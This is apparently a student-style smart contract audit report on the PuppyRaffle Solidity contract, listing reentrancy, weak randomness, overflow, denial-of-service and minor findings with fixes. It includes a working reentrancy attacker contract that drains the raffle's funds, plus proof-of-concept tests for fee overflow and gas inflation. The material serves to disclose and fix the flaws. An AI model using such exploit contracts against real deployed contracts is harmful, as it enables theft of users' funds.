PuppyRaffle Audit Report

Version 1.0

January 9, 2025

Protocol Audit Report

Dhanyosmi

09-01-2025

Prepared by: Dhanyosmi

Table of Contents

    * [M-2] Smart contract wallets raffle winners without a `recieve` or `fallback` function will block the start of a new contest.
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex`returns 0 for non-existant player and player at index 0 to incorrectly think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variable should be marked `immutable` or `constant`.
    * [G-2] Storage variable in a loop should be cached.
  - Info
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Incorrect versions of Solidity
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.
    * [I-5] Use of "magic" number is discouraged.
    * [I-6] `_isActivePlayer` is never used and should be removed

Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Dhanyosmi makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the individual is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8 ## Scope
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info/Gas	8
Total	14

Findings

High

[H-1] Reenterancy attack in `PuppyRaffle::refund` allows entrant to drain contract fund.

Description: The function `PuppyRaffle::refund` does not follow CEI(Checks Effects Interactions) as a result attacker can drain contract balance.

In `PuppyRaffle::refund` storage variable is updated after making ann external call.

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   @>        payable(msg.sender).sendValue(entranceFee);
6   @>       players[playerIndex] = address(0);
7           emit RaffleRefunded(playerAddress);
8       }
```

A player who have entered theraffle could have a `receive`/`fallaback` functyion thta calls the `PuppyRaffle::refund` function again and claim another refund. Theyt could continue the cycle until till the contract balance is drained.

Impact All fees paid by raffle entranty could be stolenm by the malicious paticipant.

Proof of Concept: 1. User enters the raffle. 2. Attacker sets up a contract with a cvontract with a `fallback` function that calls `PuppyRaffle::refund`. 3. Attacker enters the raffle 4. Attacker

calls `PuppyRaffle::refund` from their attack contract, draining the contract balance. Place the following code to `PuppyRaffleTest.t.sol`.

Proof of Code

PoC

```
1
2       function test_reEnterancyRefund() public {
3           address[] memory players = new address[](4);
4           players[0] = makeAddr("0");
5           players[1] = makeAddr("1");
6           players[2] = makeAddr("2");
7           players[3] = makeAddr("3");
8           assertEq(address(puppyRaffle).balance, 0);
9           puppyRaffle.enterRaffle{value: entranceFee*4}(players);
10          assertEq(address(puppyRaffle).balance, 4 ether);
11
12          address  hacker = makeAddr("Hacker");
13          vm.deal(hacker, 1 ether);
14          ReEnterancy_Attacker reEntrancyAttacker = new
               ReEnterancy_Attacker(puppyRaffle);
15          assertEq(address(reEntrancyAttacker).balance,0);
16
17          vm.startPrank(hacker);
18          reEntrancyAttacker.attackerEnterRaffel{value: 1 ether}();
19          reEntrancyAttacker.attackerRefunds();
20          vm.stopPrank();
21          assertEq(address(puppyRaffle).balance,  0);
22          assertEq(address(reEntrancyAttacker).balance,5 ether);
23
24      }
25
26  contract ReEnterancy_Attacker{
27
28      PuppyRaffle puppyRaffel;
29      uint256 enteranceFeee;
30      uint256  attackerIndex;
31      constructor(PuppyRaffle _puppyRaffel)
32      {
33          puppyRaffel = _puppyRaffel;
34          enteranceFeee = puppyRaffel.entranceFee();
35      }
36
37      function attackerEnterRaffel() public payable {
38          address [] memory attackArray = new address[](1);
39          attackArray[0]=address(this);
40          puppyRaffel.enterRaffle{value: enteranceFeee}(attackArray);
41
42      }
43      function attackerRefunds() public {
```

```
44          attackerIndex = puppyRaffel.getActivePlayerIndex(address(this));
45          puppyRaffel.refund(attackerIndex);
46      }
47      receive() external payable {
48          if(address(puppyRaffel).balance >= 1 ether)
49          {
50              puppyRaffel.refund(attackerIndex);
51          }
52
53      }
54  }
```

Recommended Mitigation In order to prevent this storage variable should be updated before any external call. In this case `players[playerIndex] = address(0);` it shopuld be updated before transfer. Additonally we sahould move the evenmt upside .

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  +       players[playerIndex] = address(0);
6  +        emit RaffleRefunded(playerAddress);
7          payable(msg.sender).sendValue(entranceFee);
8  -        players[playerIndex] = address(0);
9  -        emit RaffleRefunded(playerAddress);
10     }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner`, allows users to influence or predict winner and predict the winning puppy rarity.

Description: Hashing `msg.sender`, `block.timestamp`, and `blocl.difficulty` together creates a predictable findable number. A predictable number is not a good random number. Malicious user can manipulate these values or know them ahead of time to choose the winner of raffle themselve

Note This means users can frontrun this function and call `refund` if they see they are not winner.

Imapct Any user can influence the winner of raffle, winning money and selecting the `rarest` puppy.Making the entire raffle worthlessif it becomes a gas war as to who wins the raffle.

Proof of Concept 1. Validators can know ahead of of the time `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.. 2. User can manipulate/mine their `msg.sender` value to result in their address being used to generate the winner . 3. User can revert their txn `selectwinner` if they dont like the result or winning puppy.

Recommended Mitigation Use chainlink VRF to generate a random number.

[H-3] Integer Over Flow of `PuppyRaffle::totalFees` looses fee.

Description In solidity versiuons prior to `0.8.0` integers were subject to integer overflows.

```
1
2 uint64 myNum = type(uint64).max
3 //  18446744073709551615
4 myNum = myNum +1
5 // myNum will be 0
```

Imapct In `Puppyraffle::selectWinner`, `totalfees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalfees` variable overflows, `feeAddress` may not collect the correct amt of fees, leaving fees permanently stuck in contract.

Proof of Concept 1. We concluded a raffle of 4 players 2. We then have 89 players enter a new raffle and conclude the raffle. 3. `totalfees` will overflow 4. You will not be able to withdraw , whole funds will get stuck.

```
1     function testTotalFeesOverflow() public playersEntered {
2         // We finish a raffle of 4 to collect some fees
3         vm.warp(block.timestamp + duration + 1);
4         vm.roll(block.number + 1);
5         puppyRaffle.selectWinner();
6         uint256 startingTotalFees = puppyRaffle.totalFees();
7         // startingTotalFees = 800000000000000000
8
9         // We then have 89 players enter a new raffle
10        uint256 playersNum = 89;
11        address[] memory players = new address[](playersNum);
12        for (uint256 i = 0; i < playersNum; i++) {
13            players[i] = address(i);
14        }
15        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
              players);
16        // We end the raffle
17        vm.warp(block.timestamp + duration + 1);
18        vm.roll(block.number + 1);
19
20        // And here is where the issue occurs
21        // We will now have fewer fees even though we just finished a
              second raffle
22        puppyRaffle.selectWinner();
23
24        uint256 endingTotalFees = puppyRaffle.totalFees();
25        console.log("ending total fees", endingTotalFees);
26        assert(endingTotalFees < startingTotalFees);
27
28        // We are also unable to withdraw any fees because of the
              require check
```

```
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
               active!");
31          puppyRaffle.withdrawFees();
32      }
```

Reommended Mitigation 1. Use a newer version of solidity and a uint256 instead of uint64 for `PuppyRaffle::totalFees`.

Medium

[M-1] Denial of Service Attack on `PuppyRaffle.sol::enterRaffle`due to unbounded for loop, increasing gas cost for future entrants.

Description: The function `PuppyRaffle.sol::enterRaffle` loops through the length of array of players to check wether it's duplicate or not. However, the longer the `PuppyRaffle::player` arrayis, the more checks a new player will have to make. Meanwhile player entering at begining will py dramatically much lower gas cost then the player entering at last. Attacker can enter the maximum number of player from his side and increasing the gas fee for future entrants.

Impact: Attacker can increase the gas cost for new user significantly high may be equal to the prize pool of lottery.

Proof of Concept: Place the following code to `PuppyRaffleTest.t.sol`.

PoC

```
1  function test_DoSAttack() public {
2
3      // adding first set of 100 player
4          address[] memory players =  new address[](100) ;
5          for(uint256 i=1; i<100;i++)
6          {
7             players[i] = address(uint160(i));
8          }
9         uint256 gasStartFirst = gasleft();
10        puppyRaffle.enterRaffle{value: entranceFee*100}(players);
11        uint256 gasUsedFirst = gasStartFirst - gasleft();
12        console.log(gasUsedFirst);
13     // adding the second set of 100 player
14        address[] memory playersTwo =  new address[](100) ;
15         for(uint256 i=0; i<100;i++)
16         {
17            playersTwo[i] = address(uint160(i+100));
18         }
19         uint256 gasStartSecond = gasleft();
20         puppyRaffle.enterRaffle{value: entranceFee*100}(playersTwo);
```

```
21          uint256 gasUsedSecond = gasStartSecond - gasleft();
22          console.log(gasUsedSecond);
23
24          assert(gasUsedSecond>gasUsedFirst);
25      }
```

Recommended Mitigation: Consider few recommendation: 1. Allow entry of Duplicate players. However a user can create multiple wallet and enter the raffle. So allowing duplicate entry looks feasible. 2. Use mapping to check the duplicate as it will check constatnt time to check for it.

[M-2] Smart contract wallets raffle winners without a `recieve` or `fallback` function will block the start of a new contest.

Description: The `Puppyraffle::selectwinner` function is responsible for resetting the lottery. However if a winner is a smart contractwalletrejects payment , the lottery will not be able to restart.

Impact The fun ction could revert manhy times, making a lottery reset difficult. **recommended Mitigation** Create a mapping of addresses -> payout amount so winners can pull their funds out themselves with a new `claim`, putting the owness on the winner to claim their prize.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex`returns 0 for non-existant player and player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player has entered the raffle, array at index 0. Then it will return 0, but accordingf to the natspec, it will also return 0 if the player is not in the array.

```
1 function getActivePlayerIndex(address player) external view returns (
     uint256) {
2           for (uint256 i = 0; i < players.length; i++) {
3               if (players[i] == player) {
4                   return i;
5               }
6           }
7           return 0;
8       }
```

Impact A player at index 0 may incorrectly think they have not entred ther raffle and may attempt to enter again.

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

Gas

[G-1] Unchanged state variable should be marked `immutable` or `constant`.

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable`. - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRafflelegendaryImageUri` should be `constant`.

[G-2] Storage variable in a loop should be cached.

Everytime if you call `players.length`, you read from the storage, Reading from storage is more costly as compared to reading from memory.

```
+ uint256 lengthOfPlayer = players.length;
-  for (uint256 i = 0; i < players.length - 1; i++) {
+  for (uint256 i = 0; i < lengthOfPlayer- 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Info

[I-1] Solidity pragma should be specific, not wide

Description: Consider using a specific version of solidity in your contracts instead of a wide version. For exapmle, instead of `pragma solidity ^0.7.6;` use `pragma solidity 0.7.6;`.

[I-2] Incorrect versions of Solidity

Description: `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex `pragma`statement. **Recommendation** Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please seeSlither documentation for more informatiion.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.

Its is best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
1
2   previousWinner = winner;
3 +       _safeMint(winner, tokenId);
4           (bool success,) = winner.call{value: prizePool}("");
5           require(success, "PuppyRaffle: Failed to send prize pool to
                winner");
6 -         _safeMint(winner, tokenId);
```

[I-5] Use of "magic" number is discouraged.

It can be confusing to see number literals in a codebase and its much more redable if the numbers are given a name.

Example

```
1     uint256 prizePool = (totalAmountCollected * 80) / 100;
```

Instaed use it

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
```

[I-6] `_isActivePlayer` is never used and should be removed

Description The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }
```